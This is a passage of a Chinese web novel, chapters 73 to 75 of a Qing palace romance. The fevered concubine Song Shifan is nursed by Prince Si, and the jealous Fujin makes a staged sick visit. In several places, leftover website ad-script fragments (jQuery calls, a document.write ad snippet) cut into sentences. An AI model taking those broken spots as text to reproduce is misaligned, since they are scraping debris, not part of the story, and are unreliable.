越想,宋时繁心底里冒出来的寒意就越深,她生怕自己身上的这些不同会成为别人攻讦自己的借口,到时候再将她与妖魔同论,亦或是直接把她关进笼子里沉塘,她甚至不敢往下想了... 就在宋时繁几乎要坠入深渊的时候,忽然有一道关切的声音自门外响起。 “格格,您别泡太久,小心着凉...” “格格?格格您听见了吗?” “格格...格格!” 但不管白薇在外头怎么喊,屋子里始终都没有任何回应。 白薇心下一惊,顾不得这许多了,跟竹苓一起破门而入,就见宋时繁整个人都蜷缩着沉在水里,俨然已经晕过去了。 幸好白薇和竹苓一直在门外守着,一发觉不对马上就冲了进来,否则再耽误一会儿保不齐宋时繁就要因为泡个澡被淹死,然后魂归故里了。 但白薇还是吓得不轻,几乎目眦欲裂,快步上前和竹苓合力将宋时繁从水里捞了出来,结果一触到宋时繁的肌肤就发觉她身上烫得很,脸颊也红得不正常。 “格格发烧了,快,叫人去找大夫!”白薇先把宋时繁身上的水擦干,又取了干净的寝衣给宋时繁换上,然后赶紧将宋时繁挪到了床榻上,用厚被褥把宋时繁裹得严严实实的。 竹苓闻言忙转身去外头找石桥,石桥一听也吓坏了,不明白方才还好好的格格怎么一转眼就晕过去了,但他也来不及细想,撒丫子便往院外跑去,连伞都忘了拿,就这么冲进来雨幕里。 也不怪他们紧张,若是宋时繁有个好歹,他们这些做奴才的也得跟着吃挂落,怕是连命也得跟着丢了。 竹苓则转身打了一盆热水回到内室,不停地拧了热帕子给宋时繁擦脸。 宋时繁面上依旧满是痛苦之色,脸上挂满了泪水,嘴里还不停呻吟着,但总也不成句子,白薇把耳朵凑到宋时繁的嘴边也听不出个所以然来,就好像听见自家格格一直念叨着难受,想家什么的。 白薇心疼坏了,一泡眼泪就这么汪在眼眶里,抓着宋时繁的手不停地跟宋时繁说话,想唤回宋时繁的神智,怕她就此晕过去。 “格格,您再忍忍,大夫一会儿就来了...”话落,白薇眼眶里的泪水止不住得往下淌。 “白薇姐姐别哭,格格平时最疼咱们,这会子格格难受呢,咱们 () { $(''.inform'').remove(); $(''#content'').append('' 可不能让她担心了。”竹苓话音中还带着哽咽,但到底没落下泪来。 白薇听了连声道是,用袖口胡乱擦了擦脸上的泪痕,也不敢再掉眼泪了。 这时,曹三宝着急忙慌从外头冲了进来,手里还捧着碗滚烫的姜汤。 “姐姐们,这是奴才去膳房要来的,大夫还没来,姐姐们先喂格格喝点姜汤,好歹也能顶点儿事。” 曹三宝急急将手里的汤碗放到宋时繁床前的小几上,又忙用手去摸自个儿的耳朵,方才他担心格格的安危,催着膳房赶紧做了,炉子一滚就往回端,又一路捧着姜汤回来,手心都烫红了。 “好三宝子,关键时候还是你顶用,等格格好了让格格赏你。” “姐姐快别说外道话了,这会子格格最要紧。”曹三宝也是真担心宋时繁,一个劲儿地摆手示意白薇快喂姜汤。 白薇见状把宋时繁扶了起来,又在她身下垫了两个枕头,好歹把人固定住了,这才蒯了一勺子姜汤,仔细吹了吹,又用唇瓣试了试感觉已经不烫了,这才往宋时繁的嘴里喂。 好歹宋时繁还愿意张嘴,喝进去了几口,竹苓也没歇着,一刻不停地给宋时繁擦脸,宋时繁仿佛缓过来些,可额头仍旧烫得厉害,但总算是不哭了。 这边石桥慌脚鸡似的冲进前院,迎面刚好碰见苏培盛。 石桥虽然看见苏培盛了,但奈何他已经刹不住步子了,再加上雨天路滑,直接就把苏培盛给撞翻在地。 当然,他自己也没落着好,本就淋得跟落汤鸡一样,这会浑身都是泥点子,不细瞧都看不出人模样了。 “啊哟!什么事儿跑成这样?这还在前院呢,哪儿来的没规矩的东西!”苏培盛揉着屁股,将石桥好一顿骂。 石桥知道自己闯了祸,也不敢回嘴,顺势跪下就开始给苏培盛磕头:“苏爷爷饶命,奴才石桥,是宋格格院儿里的,宋格格受凉发烧了,如今人都烧晕过去了,怕是要不好,求苏爷爷行行好,快去禀告主子爷给宋格格请个大夫来,等大夫来了,奴才任凭苏爷爷处置。”说一句便磕一个响头,竟活似不要命了一样。 苏培盛原本还有些漫不经心,待听分明是宋格格出了事以后,也着急起来。 别人不知道,他这个天天跟着主子爷的还能不清楚吗?主子爷的心里明显是存着宋格格的影儿呢,若此番宋格格出了事,主子爷肯定不会轻易善罢甘休。 想到这里,苏培盛当即一脚把石桥踹倒:“宋格格出事你不早说!快跟着我去找四爷!”说罢也不敢再耽误,忙转身去到书房门口跟四爷禀报此事。 四爷刚听苏培盛在外头说了一句“宋格格出事了”就忙不迭道:“怎么了?让人进来回话!” 话音刚落,四爷就瞧着两个泥人一前一后进了书房,他眉头刚蹙起来,就见石桥跪了下去,把宋时繁的情况一一说明。 四爷听完也顾不上嫌弃二人脏了,冲着苏培盛撂下一句话:“拿了爷的令牌去宫里请太医。” 然后便匆匆跨出了书房的门槛,苏培盛见状一挥手,另有两个小太监窜出来给四爷打伞,石桥也紧随其后,赶着跑了两步才总算是跟上四爷的步伐。 73. 多灾多难的格格 不得不说,宋时繁自从来了四爷的后院里以后,整日不是病了就是痛了,难得有个好的时候。 所以,当于太医再次被苏培盛领到宋时繁的小院里时,已经颇有些熟门熟路了,心道这位宋格格还真是多灾多难。 当然,这些想法只是在于太医的心头略微转了转,他面上却丝毫不敢显露出来,客气地跟四爷行了一礼,便上前给宋时繁诊脉。 待心里有了成算以后,于太医起身对着四爷拱了拱手:“微臣观宋格格脉象虚浮,气血凝滞,是风寒侵体的症状,又兼之宋格格时常惊惧忧思,这才激发出了体内的风热,如今虽然看着是烧得厉害,倒也不甚打紧,待微臣开一副驱邪散热的药来,让宋格格服下,只要烧退了,人便也没有大碍了。” 四爷原本紧皱着的眉头在听完于太医的话后便略微松散开来,忽而又想起方才于太医口中的惊惧忧思之言,心头却是一跳,好好的,她到底在怕什么呢? 思及此,四爷开口问道:“她什么时候能退烧?” “这个...微臣也不好说,总归要等宋格格体内的风邪都发散出来才行,即便有微臣开的药也不能保证立时有效,不过,这屋子里炭火太足了,再加上窗户紧闭,闷热还不透气,十分不利于病患的恢复。” 屋子里的炭火还是先前宋时繁洗澡的时候石桥着意添置的,因着最近天气暖和了,宋时繁早就不让他们在屋子里燃炭火了,只夜间才会点上一个炭盆取暖罢了,毕竟格格的碳例有限,即便想多点几个也是没有的。 但今日,石桥他们见自家格格淋了雨受了寒,怕宋时繁冻着这才多点了两个炭盆,不想却是弄巧成拙了。 想来,宋时繁之前晕倒在浴桶里,也不一定就没有屋内炭火太盛却门窗紧闭不透风的缘故,念及此处,石桥的脸色白了白,腿肚子都跟着在打颤,下一秒许是就要跪倒了。 竹苓见状暗暗伸手扶了石桥一把,又悄悄把他往门外头推了推,轻声道:“瞧你一身泥点子,回头再惊着主子爷和格格,快下去收拾齐整了的。”说着,竹苓还对石桥摇了摇头,示意他快走。 竹苓倒不是打算要包庇谁,毕竟没伺候好格格他们谁都跑不了,只是这会子已经乱糟糟的了,何苦再多添一状罪责? 况且,四爷先前已经发落了一批格格身边的奴才了,若今个儿再闹出来,免不了又是一场气,没得让旁人知道,只当他们格格御下不严,也不是什么好名声,何苦来的?不管怎么说,还是等格格醒了,他们再请罪吧。 索性,四爷没想那么深远,听了于太医的话后,便挥了挥手让奴才们撤下去两个炭盆,又命人将窗子开了一丝细缝儿,确保有新鲜的空气进来,但也不至于冻着宋时繁就是了。 众人又是一通忙乱,于太医也被领下去开药了,奴才们不敢耽误,药刚一熬好,待温度合适就端了上来,于是,四爷赶紧吩咐丫鬟们喂宋时繁喝药。 可这会子,宋时繁又不肯配合了,许是药太苦了,还没等宋时繁咽下去,只刚刚入口她就开始往外吐,药没喝进去一口不说,衣裳和被褥反倒全都湿了。 这还不算,宋时繁抗拒喝药得很,模模糊糊知道是药以后就不停地伸手去推药碗,白薇一个人既要防着宋时繁歪倒又要捧着药碗,一不留神就让宋时繁得逞了,药碗应声落下,碎了一地。 “再去熬一碗来,不,多熬几碗,直到你们家格格喝进去足够的药量为止。”四爷睨着宋时繁皱成一团的脸,不由叹了口气,却又拿病中的人儿没奈何,只能选了个最笨的办法。 竹苓闻言忙下去重新熬药,白薇则帮着宋时繁换了一身干净的衣裳,先前那套沾了药汁,穿着也不舒服。 等新的药被送过来后,四爷亲自接过药碗打算喂宋时繁喝药,他让白薇把宋时繁扶好,又自己喝了一口试试温度,确定适宜入口了这才喂到宋时繁的嘴边。 该说不说,四爷虽然是第一次给人喂药,动作间仍带着些笨拙,可架不住他性格执着。 宋时繁吐出来一口,他便紧跟着喂进去一口,丝毫不见任何不耐烦的情绪。 到后来,四爷甚至找到了一点儿窍门,瞅准宋时繁张嘴的时机飞速将药倒进去,眼见宋时繁刚要吐出来,马上轻轻抬起她的下颌,利用惯性让宋时繁把药吞下去,口中还不断说着温柔抚慰的话语,俨然是将宋时繁当作三岁小孩子来哄了。 这一通折腾下来,总算是叫宋时繁喝够了一整碗的药量,四爷这才放下药碗,却见自己的袖口几乎都湿了,就连下摆都沾着药汁,一块一块褐色的印迹,难看得很。 “主子爷,奴才伺候您去更衣吧。”白薇生怕四爷嫌弃自家格格,赶紧开口找补了一句。 不想四爷却浑不在意,“不必,让人将衣裳取来便是,爷自去隔壁换,你们留下伺候好她就行,别叫她身边缺了人。”说罢,四爷自行去了偏房更衣。 当四爷再次回转的时候,宋时繁已经被白薇和竹苓收拾妥当了,喝完药后人也安静了下来,整个人缩在被子里沉沉地睡了过去。 因着四爷先前的吩咐,白薇和竹苓二人就坐在宋时繁床前的脚踏上,眼睛一刻也不敢从宋时繁的身上移开,生怕宋时繁再出什么岔子。 白薇估摸着四爷应该是要走了,四爷本来也是这么想的,他准备再瞧一眼床上的宋时繁就走,毕竟前院还有一大堆的事儿等着他处理呢,眼下宋时繁喝了药,热度也降下去了一些,应当是没什么大事了。 于是,四爷走到床前仔细看了看宋时繁的脸,还伸手将宋时繁脸上的碎发往一边拨了拨,直至那张苍白的小脸完全露出来这才算完,又摸了摸宋时繁的额头,虽然依旧烫,但比先前好多了。 见状,心下大安的四爷便打算起身离开。 刚准备把手抽回来的四爷却发现宋时繁轻微地动了动。 许是在睡梦中的宋时繁感受到了四爷大手带来的丝丝凉意,竟不自觉地用自己滚烫的脸在四爷的手掌心里蹭了蹭,甚至还咂巴两下嘴。 这一幕令四爷失笑不已,心中却软的一塌糊涂。 想了想后,四爷又坐回去了。 罢了,既然小格格在病中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都如此眷恋他,若就这么将人丢下他也舍不得,索性多陪陪她吧,四爷如是想道。 若这时候的宋时繁是清醒的,一定大喊冤枉,毕竟她方才只是把四爷当成可以降温的冰块而已,眷恋什么的,还真是四爷想太多了。 不过四爷既然已经决定好了,倒是雷厉风行得很,当即便吩咐苏培盛去前院将他要用的东西搬到宋时繁这里来,他打算就在宋时繁旁边办公了,顺便守着宋时繁醒过来。 另一边,太医一入府,众人便都知道宋时繁又病了。 这倒还真不是什么稀奇的事情,毕竟宋格格的小院儿里总是三天两头就有人生病,不是宋格格就是大格格,母女两一个比一个身体差。 可等宋时繁得了风寒的消息传出来的时候,众人的心思却各异起来。 有那眼皮子浅的,只顾着幸灾乐祸了,道宋时繁是活该,身子骨也忒经不住了,还真是个见风就倒的病美人,也有那起子机灵的,眼见着四爷一头扎进宋时繁的院子以后就再也没出来了,隐隐窥见了些什么,但又不敢细揣摩主子们的心意,只暗暗下决心以后对待宋格格那边要更慎重些。 当然,也有暴跳如雷的。 正院里,福晋一听说宋时繁这里传了太医就不高兴起来,她也不是傻的,不可能不知道四爷早上为什么生她的气,可她本身也是满腹的冤枉,如今宋时繁前脚请安回去,后脚就病了,还请太医,她一个格格,什么身份,用得着太医吗? 福晋越想越生气,抬手就将桌上的茶盏全都拂到了地上,霎时间便响起一片“叮叮咚咚”地瓷器碎裂声。 “请福晋息怒。”屋子里的奴才见状全都跪了下去,主子发怒,他们不敢站着。 如今福晋比从前在闺中的时候更易怒,一个不舒心便开始摔东西,这个月他们正院已经领了三套茶盏了,这都叫什么事儿啊。 “哼,一个个的都是什么东西!还有没有尊卑分明了,我竟不知这府上格格也有资格叫太医了!”福晋语气忿忿,手里的帕子被她扽得笔直。 吴嬷嬷叹了口气,这会子她也看出来了,什么尊卑还不都是主子一句话的事儿?对,宋格格的身份是不配请太医来瞧,可太医是主子爷让人请进府的,主子爷许宋格格见太医谁又能说什么不成? 不过,这话吴嬷嬷委实不敢说给福晋听,毕竟福晋现下愈发偏执了,她可不想火上浇油。 思及此,吴嬷嬷又暗暗叹了口气,但还是努力挤出个笑脸来劝慰福晋。 “福晋,您何苦跟宋氏置气,眼跟前还有更要紧的事儿呢!” 听到自己的陪嫁嬷嬷开了口,福晋总算是平静了些,看向吴嬷嬷示意她继续往下说。 “福晋您忘了?晨起时,主子爷本就有些不满,当然,这肯定不是对您,是下面人不懂事,这才叫主子爷误会了您,可如今偏宋氏又冻病了,便是主子爷知道是误会也难免心里不痛快,福晋您何不趁着这个时候亲自去探望宋氏一番,让主子爷好好瞧瞧您对下是何等的宽容大度,也好叫主子爷知道您不是那等妒忌的人呀!” 74. 探病也有风波 吴嬷嬷正苦口婆心地劝解着福晋,可兴许是方才那句让福晋亲自去探病的话触到了福晋的逆鳞,原本还闭口不语的福晋忽然发了怒。 “笑话!凭她也配?不过是主子们闲暇时候摆弄一二的玩物罢了!” 福晋的心里都快恨死了,她是四爷正经上了玉牒的嫡妻,凭什么四爷总是要为了那些下贱东西来落她的面子?竟然还要她去讨好一个妾室?简直是可恶至极! 眼见着福晋气得都要靠胸膛不停起伏才能克制住心情,吴嬷嬷忙不迭地冲着仍跪在堂下求饶的奴才们摆摆手,示意他们快点退下,万一等会儿福晋的脾气上来了,反倒叫下人们看了个正着,岂非有失体面。 好在这几个奴才们巴不得赶紧从福晋的怒火当中逃离开来,见吴嬷嬷跟他们挥手,一个个便如蒙大赦一样,逃也似的飞快退出了正房。 等到屋子里只剩下福晋和吴嬷嬷两个人的时候,吴嬷嬷这才缓步上前,先是给福晋斟了一杯热茶,然后又绕到福晋的身后,一双手轻柔地给福晋捏着肩膀。 “福晋,您先别着急,且听奴才跟您细说...”吴嬷嬷安抚好了福晋的情绪之后,这才缓缓开口。 “福晋亲自去瞧一瞧那宋氏,可不是在跟谁服软,只是您向来对待下面人就宽和,如今也不过是略微施舍给宋氏一二分薄面罢了,难不成旁人还能凭这个就觉得您不如那宋氏了?那才是天大的笑话呢,福晋您方才不是也说了,她顶天儿了就是个玩意儿,既然现在主子爷愿意抬举她,您何不干脆做了这个好人?” 吴嬷嬷觑着福晋的面色,又几番揣度福晋的心思,尽可能将话说得再好听一点,力图让福晋听上去不刺耳。 果然,在吴嬷嬷说完这番话以后,福晋的胸膛总算是不再大起伏了,可她的心气儿仍是有些不太顺。 “可若照嬷嬷的话...岂非是纵了宋氏?”不等吴嬷嬷解释,福晋又冷哼一声,继续道:“殊不知那宋氏是在故意装病也说不定,偏生这么巧?怎么满府里的人都淋了雨,就她身子弱受不住?!” 吴嬷嬷闻言却在心底里叫苦不迭。 福晋做什么非要揪着宋格格病了还是没病这件事不放呢?现在的情况不是很明显吗! 因着请安一事叫府上的格格们都跟着淋了雨,最要紧的是,其中还有两位格格怀着身孕呢!四爷可是当即就表现出不满来了,这会子还去纠结宋格格病不病的那不是闲的吗?难道不应该赶快想办法在主子爷面前补救一下吗? 没等吴嬷嬷思索完,又听见福晋将手中的茶盏重重搁在了桌面上。 “我看宋氏八成是装的,想搏主子爷的同情呢,不过是瞧着主子爷多来了正院几趟,一个个就都坐不住了,好啊,之前嬷嬷跟我说宋氏不简单,我心里还存着疑影儿呢,心道她面上看起来并不是那种心思诡谲之人,如今再一瞧,可不全印证了嬷嬷的话?足以想见宋氏是如何的心机深沉!”福晋说到后面愈发生气,脸都憋红了。 吴嬷嬷见福晋越想越歪,又听福晋提起上次她让福晋堤防宋氏的话,恨不得钻回去抽当时的自己一耳光,好好的,撺掇福晋这个干嘛,原本是想提醒福晋多注意着点儿,谁知却是弄巧成拙了。 思及此,吴嬷嬷忙开口将福晋的话头给止住:“先前是奴才想左了,奴才该死,反倒是误了福晋,您想啊,宋氏再如何得宠,可有一样,就注定她这辈子没前程了...” 福晋闻言也冷静下来了,扯了扯嘴角道:“是呢,嬷嬷不提我差点忘了,可不是吗,宋氏怕是再不能生育了,一个女儿顶天就到头了,眼下看着也得瑟不了多久。” 吴嬷嬷见福晋终于反应过来了,心下松了口气。 “可不是这么说的,宫里头的娘娘都发话不叫她再伺候四爷了,凭她怎样哪儿就能跟福晋您比?终究不成气候,这会子主子爷多怜惜她两分才是好呢,免得被其他人捷足先登,不管宋氏是装病也好,真病也罢,您借这个机会刚好去探望一番,既显得您仁厚,也让人知道知道宋氏有多么不懂事,天长日久的,主子爷总归能看见您的好,到时候再想起这会子的宋氏来,倒越发显得宋氏没规矩了,您说是不是这么个理儿?” “正是如此,你去将我库房里存着的那根人参取出来,我这便去探病。”福晋整理了一下衣摆,笑着吩咐了吴嬷嬷一句,俨然又变成人前那位尊贵大方的嫡福晋了。 不多会儿,福晋便带着一众奴才浩浩荡荡地到了宋时繁的小院儿,却没承想,四爷居然也在这里。 “奴才给主子爷请安,主子爷吉祥。”福晋只在心里迟疑了一瞬,便赶紧福身给四爷行礼。 四爷原本在书桌前处理公务,乍一听见请安的声音还以为是哪个不长眼的奴才冒然闯了进来,毕竟他先前已经吩咐过谁都不许过来打扰。 于是,四爷下意识就抬眼看了看相隔不远的床榻上正睡着的宋时繁,见宋时繁躺在床上一动不动,依旧睡得香甜,仿佛丝毫没有受到影响的样子,这才松了口气。 紧跟着,四爷就看到了还保持着请安姿势的福晋,心里顿时明了了。 大约是宋时繁的奴才们不敢拦着福晋,这才让她直接进来了,不过,这会子,福晋怎么到这里来了? 想到这里,四爷直接问出了口:“起来吧,福晋怎么过来了?” “奴才听下面的人来禀报说宋氏得了风寒,连四爷都被惊动了,应当是病得不轻,奴才心里很是担忧,便想着过来瞧一瞧宋氏,没想到竟还能在这里碰上四爷,倒也是巧了。” 福晋的面上挂着得体的笑容,说出来的话语也找不出一丝错漏,但莫名的,四爷听完就是觉得有些不舒服。 怎么宋时繁生病了这件事经过福晋的嘴里一说出来,仿佛是件天大的好事不成? 但这种没根由的想法四爷是不会显露出来的,他只是点了点头,低声道:“福晋有心了。” 福晋抿了抿唇,原本只打算来走个过场的,可如今四爷也在这里,她却不想走了。 于是她继续同四爷找话题:“奴才带了一根上好的人参过来,补齐凝神是最好的。”说罢,让吴嬷嬷将人参呈了上来。 四爷摆了摆手,一旁的竹苓见状机灵地上前代为收下:“奴才替宋格格多谢福晋赏赐,等格格醒了,必是要亲自去给福晋谢恩的。” “宋格格病着,你们身边跟着伺候的人都要上点心,若是哪日宋格格来跟我说你们谁伺候得不好,怠慢了她,我定是不饶你们,到时候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直接几十板子下去,有你们好苦头吃。”福晋看似是在叮嘱竹苓几人,言语间却带着十万分的不客气,到了最后也没忘记再挑拨几句。 四爷听了眉头直皱,心说宋时繁还病着呢,张口闭口就是罚人,又是板子又是不饶的,这是要做什么?福晋的架子摆得未免也太大了! 于是,四爷不耐烦再看福晋作秀了,准备找个由头将人打发走。 说来也是,可不就在作秀吗,嘴里说是来探病的,却一进门先是讨好四爷,然后跟着便打压奴才们,反倒一个眼风都没留给病床上的宋时繁,甚至连眼角都不带往宋时繁那边夹一下的,又能有多少诚意呢? “爷从方才一直在这里,见他们几个伺候得还算上心,就不劳福晋费神了,福晋既看过了便退下吧。”四爷的语气里已透出些明显的不悦来,但仍是压低了声音说的。 “四爷一直在这儿吗?倒是呢,宋氏病了,四爷难免不放心,多陪陪也是有的,只是四爷千万保重身体,可别沾染了病气,那就是宋氏的罪过了。” 福晋的关注点显然不在四爷让她离开上,而是四爷刚刚一直陪着宋时繁呢,她顿时有些不乐意了,这心里一不舒坦,说出来的话自然也跟着难听了起来。 四爷却不想再跟福晋废话了,毕竟跟福晋这样拎不清的人多说无益,最后,四爷就从嘴里吐出一个“嗯”字,再不肯开口了。 福晋被四爷这不冷不热的态度噎了噎,想再跟四爷说两句话吧,却又不知道说什么好,兼之吴嬷嬷也在一旁扯了扯她的袖子,示意她离开,福晋再不满,也只得不情不愿地告退了。 还真是从进来到出去,都没撇宋时繁一眼,这到底是有多不耐烦过来?既然不耐烦又何必跑这一趟,四爷不由在心底失笑。 这事儿却还不算完。 因着福晋大张旗鼓地跑过来一趟,闹得人尽皆知,府里其他人便也不敢不来看望宋时繁了,于是,余下的几个格格们只得又冒着雨来探病,倒是叫宋时繁的小院里难得热闹了一回。 可惜,四爷一律以怕沾染了病气为由将格格们全都挡在了门外,还吩咐下去谁都不许再来打扰宋时繁养病。 一开始,格格们还搞不清楚四爷的态度,以为四爷是不高兴了,可事后,四爷又吩咐膳房给每个院里都送去了姜汤驱寒,却让众人着实有些摸不清头脑了。 这到底是想她们去探病还是不想啊? 其实四爷想得很简单,他拦着是因为知道这些人里没几个是真心来看望的,大都跟福晋似的走个过场,那还不如别叫进来,免得再惊着宋时繁。 再加上四爷的心里也存着些对福晋一直折腾来折腾去的不喜,便干脆下命不许人再来。 至于送姜汤就纯粹是因为都已经病倒一个了,还是预防着点儿得好,免得叫人以为他府上都是病秧子呢。 而名副其实·真病秧子·宋时繁却还什么都不知道呢,兴许是于太医在风寒药里加了安神的成分,她一觉便睡到了天擦黑的时候。 拥有如此长时间的睡眠质量,宋时繁醒来的时候自然是有些迷迷糊糊的。 所以,当她第一眼看见的是四爷那张冷酷峻脸的时候,很是吓了一大跳,“嗷”一嗓子就叫了出来。 75. 小动物大赏? 可惜,刚睡了一觉醒来,又兼之感染了风寒的宋时繁,其喑哑无比的声音不仅毫无威慑力,反倒引出自己一阵剧烈的咳嗽来。 瞧瞧,一旁的四爷直接笑出声了。 四爷原本坐在书桌前翻看着一本游记,忽然听见榻上有细碎的动静,心里便琢磨着应当是宋时繁醒了。 哪承想,他刚靠近床榻,还没来得及出声,却不妨把宋时繁给吓到了,四爷正想上前安抚自家小格格两句呢,就听见宋时繁张大嘴巴发出了一声粗砺的叫声,活像只赶着逃命的野鸭子。 四爷顿时失笑不已,伸手拍了拍宋时繁的后背,想帮她顺顺气儿,“做什么一睁眼就这样慌慌张张的,难不成爷你都认不出来了?”话语里尽是盖不住的笑意。 宋时繁快尴尬死了,干脆借着咳嗽的动作来遮掩一二,倒是咳得愈发剧烈,跟用嗓子在拉大锯似的。 她当然听见了自己刚刚那堪比唐老鸭的嗓音,现下恨不得直接找个地缝把自个儿埋起来算完。 这会子又听见四爷正明晃晃地笑话她呢,宋时繁不由在心里腹诽了两句。 她可不就是认出来了四爷这尊大神才把自己吓了一跳的嘛!怎么这个四爷总是这样神出鬼没的?好端端地干嘛跟鬼似的站在她床头?再这样下去,她这颗脆弱的小心脏迟早要被四爷吓出点毛病来!说不定,先前原主的体弱多病也都是被四爷给吓出来的...想着想着,宋时繁的神思又开始发散了。 “感觉怎么样?好些没有?可还有哪里不舒服的地方?”四爷见宋时繁好容易把咳嗽给止住了,人却呆住了,到底还是担心她,这才开口询问。 一句话便将宋时繁的思绪拉了回来,但偏偏此时,宋时繁死活也不肯再张嘴说话了,开玩笑,就她目前的公鸭嗓子,还是不要主动为四爷提供笑料了。 只见宋时繁紧紧抿着唇瓣,脸颊微微鼓起,一双眼睛瞪得老大,表情要多坚毅有多坚毅,对着四爷一个劲儿地摇头,直表示自己一点儿事都没有,示意四爷别再问了。 不过,宋时繁这副样子落进四爷眼里就好似是一只偷了粮食的小松鼠,于是乎,四爷没忍住,上手捏了一把宋时繁睡红了的脸蛋,然后顺势摸了摸宋时繁的额头,感觉温度已经恢复正常了,这才点了点宋时繁的额角,状似埋怨却透着些亲昵地开了口:“你呀,好悬没把爷给吓着。” 见宋时繁仍旧不肯开口,四爷笑了笑也不再为难她,而是偏头冲着外头唤了一声。 屋外,白薇同竹苓早就候着了,其实方才她们二人一听见宋时繁的动静,就想进屋去侍奉格格了,可四爷在里头呢,主子爷没发话,她们也不敢随意往里闯,这会子总算是能进去了,两人轻手轻脚地就进了屋。行动间丝毫没有发出声音。 白薇手里还提着个药壶,一打开盖子便泛出丝丝苦味来。 药是方才就已经熬好了的,但白薇她们先前也不知道宋时繁什么时候会醒,便一直搁在炉子上热着,这会还冒着热气儿呢。 “主子爷,格格该喝药了,于太医临走的时候吩咐过,等格格醒来,第一时间就得让格格喝药的。”白薇端着药碗恭敬地道。 四爷闻言“嗯”了一声,将宋时繁扶了起来,又把宋时繁的被褥往上面拉了拉,然后才开了口:“端过来吧。”这是要亲自喂宋时繁喝药的意思了。 宋时繁微微拱了拱鼻子,闻到药里弥漫着的苦味,不由撇了撇嘴,心里抗拒得很,倒是难得跟四爷撒了个娇。 “四爷...奴才能不能不喝啊...”她的声音仍旧沙哑得很,配上哀求的语气,听起来就尤为可怜。 其实宋时繁想得简单,感冒发烧嘛,也就是烧起来的时候吓人,可眼下她的烧已经退了,就算不喝药应该也没什么关系吧... 四爷却不容宋时繁这个时候任性,当即便板了脸,沉声道:“生病了怎么能不喝药呢?若是耽误了病情爷可不会饶你!” 虽说四爷见宋时繁这样也心疼得跟什么似的,但医嘱还是有必要遵守的,所以四爷只得连吓唬带哄着,总算是让宋时繁把药喝进去了。 “太医可还有交代别的什么?”喝完了药,四爷又问白薇。 “回主子爷的话,倒没有其他特别的吩咐了,只说让格格多多注意休息,往后一日两次照常喝药,直到好全了才能停。” 四爷睨了宋时繁一眼,“可听见了?这药得喝到你完全好了才行,往后爷都盯着你,切不可由着你的性子胡来...知道了吗?” 宋时繁鼓了鼓腮帮子,眼珠子也跟着转了转,心说她到底喝没喝药四爷也不会知道,反正等回头四爷一走,她马上就可以... “每日爷会派苏培盛来瞧你,”说到这里,四爷还刻意停顿了一下,看了看宋时繁的表情后,露出个狡黠的笑来,然后才将接下来的字音都拉得长长的,慢悠悠开口道:“让苏培盛来瞧着你喝药,再回来跟爷汇报。” 四爷哪里会看不出宋时繁那点子小心思,当即便将其乱七八糟的想法扼杀在摇篮里了。 宋时繁的脸霎时间就垮下来了,颇为幽怨地看了四爷一眼,随即又觉得气不过,恨恨地翻了个身,不肯再理会四爷了。 反倒是四爷,在宋时繁身后低低地笑开了,光听声音就知道他现在十分的愉悦。 宋时繁:...... 呸,这人真是幼稚得没边儿了!还当爷呢! 她才不想理会某个幸灾乐祸的人,没错,这可不是妥协,只是宋时繁向来为人大度,懒得同四爷计较罢了! 可惜,宋时繁的肚子却没她本人有骨气,不肯轻易妥协,在此时此刻适时地“咕噜”了一声,向宋时繁发出了严正抗议。 想想也是,宋时繁除了早上赶着去请安之前吃了几个奶饽饽,到现在几乎还是水米未进呢,也该她饿了。 四爷显然也想到了这一茬,转身吩咐奴才们:“快去给你们格格传膳,她这会子病着,只管弄些清淡的来。” “回主子爷的话,奴才们一早便让膳房那边熬了小米粥,就预备着格格醒来会饿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呢,奴才这便让人去取。”竹苓闻言忙应声。 四爷却继续道:“那便让膳房将爷的晚膳也一齐传上来吧,爷今个儿就在这里陪你们格格用膳。”虽然现在天刚刚擦黑,还没到用晚膳的时候,但既然宋时繁饿了,陪她早点儿用一些也无妨,四爷如是想道。 紧接着,竹苓就听到四爷又补充了一句:“爷的膳食也要清淡的。”说罢,他还似笑非笑地看了宋时繁一眼:“省得再馋着你们格格,叫她看得见吃不着,又要跟爷闹性子了。” 话虽然是对着竹苓说的,可其中调笑宋时繁的意味却万分明显。 果不其然,四爷的话音刚落,宋时繁的背影就肉眼可见地僵硬起来了。 什么呀,干嘛说得她跟三岁小孩似的,她什么时候跟四爷使性子耍脾气了?她有那个胆儿吗? 宋时繁又气又臊,直接将头埋进了被褥里。 殊不知,她这会儿可不就是在跟四爷耍脾气吗? 毕竟,在四爷的后院里,掰着手指头数下来,可没一个人敢跟四爷这样。 宋时繁也没见过旁的人私底下是怎么与四爷相处的,所以眼下她才觉得稀松平常,四爷倒是也肯惯着她,小格格发脾气什么的,情趣嘛,就同那小猫儿似的,偶尔伸伸爪子,多可爱呀。 这便导致宋时繁更感觉不出四爷对她的不同来了,还只当四爷对待小妾们都是差不多的模样。 不过,宋时繁也没能在被窝里藏太久,因为竹苓很快就带人提着膳回来了,饿了许久的宋时繁可经受不住美食的诱惑,哪怕只是清粥小菜,这种时候闻起来也格外得香,她当即便翻身想下床。 四爷却长臂一伸,将宋时繁拦住:“你就别动了,让她们把小炕桌搬来,直接摆在那上头,凑合着就在榻上吃吧。” 宋时繁正好觉得浑身没什么力气,便也没拒绝,老老实实坐着等开饭。 她本以为只是她自己在炕桌上用膳,四爷还是照旧在桌子上吃,没想到四爷却凑了过来,还指挥着她的丫鬟们:“都往这儿摆,爷跟你们格格一块用。” 最后的结果就是,小小的炕桌上被摆得满满当当的,而宋时繁和四爷两个人都挤在床上吃饭了。 不得不说,宋时繁对四爷时常抽风的行为已经有些习惯了,见他非要跟自己挤一块也没什么太大的反应,她都快饿死了,四爷既然不嫌弃,那就这么挤着吃呗。 许是凑在一起连饭菜都跟着变香了,宋时繁和四爷两人愣是将桌子上的菜吃了个七七八八。 显然,生病丝毫没有影响到宋时繁的胃口,她连着喝了两碗粥不说,什么莲花卷、水晶梅花包子、清炒瓜片儿、虾籽冬笋、三鲜丸子等等,她是一样都没放过,把它们挨个儿尝了个遍,最后,还在四爷的盯视下,喝了一小碗炖燕窝才算完。 